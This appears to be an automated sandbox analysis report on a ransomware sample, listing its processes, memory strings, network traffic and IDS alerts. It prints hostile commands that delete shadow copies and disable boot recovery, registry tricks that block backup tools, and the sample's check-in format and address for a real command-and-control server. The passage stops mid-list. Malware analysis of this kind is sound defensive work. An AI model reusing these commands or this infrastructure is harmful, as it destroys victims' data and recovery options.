Source: _145.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Persistence and Installation Behavior

Uses bcdedit to modify the Windows boot settings

Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no	Jump to behavior

Source: _145.exe

Binary or memory string: 0.%d%duser=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%dPOST%s|%s|%s|%dSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe-lr-d-p-path-queueC:\*C:\HOW TO RECOVER !!.TXT\sysnative\vssadmin.exe delete shadows /all /quietopen89A72EF01PowrProf.dllPowerSetActiveSchemeSeTakeOwnershipPrivilegeSeDebugPrivilegeNtQueryObjectntdll.dlluser32.dllShutdownBlockReasonCreatewindowDo NOT shutdown OR reboot your PC: this might damage your files permanently !valueSOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDownSOFTWARE\Microsoft\PolicyManager\default\Start\HideRestartSOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOutshutdownwithoutlogonSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemMaxConnectionTimeSOFTWARE\Policies\Microsoft\Windows NT\Terminal ServicesMaxDisconnectionTimeMaxIdleTimevector too longNtQuerySystemInformation\AES-128-ECBAES-192-ECBAES-256-ECBAES-128-CBCAES-192-CBCAES-256-CBCAES-128-CFB128AES-192-CFB128AES-256-CFB128AES-128-OFBAES-192-OFBAES-256-OFBAES-128-CTRAES-192-CTRAES-256-CTRAES-128-XTSAES-256-XTSAES-128-GCMAES-192-GCMAES-256-GCMAES-128-CCMAES-192-CCMAES-256-CCMAES-128-CCM*-NO-TAGAES-192-CCM*-NO-TAGAES-256-CCM*-NO-TAGCAMELLIA-128-ECBCAMELLIA-192-ECBCAMELLIA-256-ECBCAMELLIA-128-CBCCAMELLIA-192-CBCCAMELLIA-256-CBCCAMELLIA-128-CFB128CAMELLIA-192-CFB128CAMELLIA-256-CFB128CAMELLIA-128-CTRCAMELLIA-192-CTRCAMELLIA-256-CTRCAMELLIA-128-GCMCAMELLIA-192-GCMCAMELLIA-256-GCMCAMELLIA-128-CCMCAMELLIA-192-CCMCAMELLIA-256-CCMCAMELLIA-128-CCM*-NO-TAGCAMELLIA-192-CCM*-NO-TAGCAMELLIA-256-CCM*-NO-TAGARIA-128-ECBARIA-192-ECBARIA-256-ECBARIA-128-CBCARIA-192-CBCARIA-256-CBCARIA-128-CFB128ARIA-192-CFB128ARIA-256-CFB128ARIA-128-CTRARIA-192-CTRARIA-256-CTRARIA-128-GCMARIA-192-GCMARIA-256-GCMARIA-128-CCMARIA-192-CCMARIA-256-CCMARIA-128-CCM*-NO-TAGARIA-192-CCM*-NO-TAGARIA-256-CCM*-NO-TAGDES-ECBDES-CBCDES-EDE-ECBDES-EDE-CBCDES-EDE3-ECBDES-EDE3-CBCCHACHA20CHACHA20-POLY1305AES-128-KWAES-192-KWAES-256-KWAES-128-KWPAES-192-KWPAES-256-KWPMD5RIPEMD160SHA1SHA224SHA256SHA384SHA512

Source: http://91.215.85.142/QWEwqdsvsf/ap.phpx	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpr	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpC:	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpnQ	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpE	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type:	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.php?	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpP	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpM	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpf	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.php_	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.php	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpata	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/ows	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/RS	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpj	Avira URL Cloud: Label: malware

Source: C:\Users\user\Desktop\_145.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: d:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: e:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: c:	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: a:	Jump to behavior

Source: C:\Users\user\Desktop\_145.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: C:\Documents and Settings\user\Local Settings\	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\Cache\	Jump to behavior

Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49711 -> 91.215.85.142:80
Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49713 -> 91.215.85.142:80
Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49715 -> 91.215.85.142:80
Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49719 -> 91.215.85.142:80
Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49720 -> 91.215.85.142:80
Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49721 -> 91.215.85.142:80
Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49722 -> 91.215.85.142:80

Source: Joe Sandbox View	IP Address: 173.231.16.77 173.231.16.77
Source: Joe Sandbox View	IP Address: 173.231.16.77 173.231.16.77

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\_145.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\_145.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Source: C:\Users\user\Desktop\_145.exe TID: 6408	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe TID: 6408	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe TID: 6408	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe TID: 6408	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe TID: 6408	Thread sleep time: -7200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\_145.exe TID: 6408	Thread sleep time: -18000000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: _145.exe, 00000000.00000003.2119295159.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/
Source: _145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245387731.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2402014969.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2353415484.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2164025204.0000000004E67000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2439049300.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2142199872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2317335616.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2288444944.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2234137390.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2253989150.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2276294552.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2401176735.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.php
Source: _145.exe, 00000000.00000003.2955369843.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2282905702.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2960843087.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2865208023.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2274365972.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3037359481.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2222401734.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2212727565.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2810948305.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2218505422.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2241036278.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2281686127.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245387731.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3041013104.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2842090850.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3030658115.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2229599387.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3024553021.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3026631650.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2248365883.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2994950360.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.php?
Source: _145.exe, 00000000.00000003.2114682457.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2112753503.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2118543111.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpC:
Source: _145.exe	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type:
Source: _145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpE
Source: _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2124056896.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2109635027.00000000046D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpM
Source: _145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2769821019.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2277539266.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2639420389.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2754010913.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2708633139.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2776003689.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2583352269.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2503519816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2505405064.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2766609044.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2280941934.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2593614953.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2762115723.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpP
Source: _145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.php_
Source: _145.exe, 00000000.00000003.2173823123.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpata
Source: _145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2769821019.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2277539266.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2639420389.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2754010913.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2708633139.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2776003689.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2583352269.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2503519816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2505405064.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2766609044.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2280941934.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2593614953.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2762115723.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2751883110.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpf
Source: _145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2769821019.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2277539266.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2639420389.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2754010913.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2708633139.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2776003689.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2583352269.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2503519816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2505405064.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2766609044.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2280941934.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2593614953.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2762115723.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpj
Source: _145.exe, 00000000.00000003.2142199872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2955369843.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2282905702.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2135798477.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2960843087.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2865208023.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2274365972.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3037359481.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2168413825.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2222401734.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 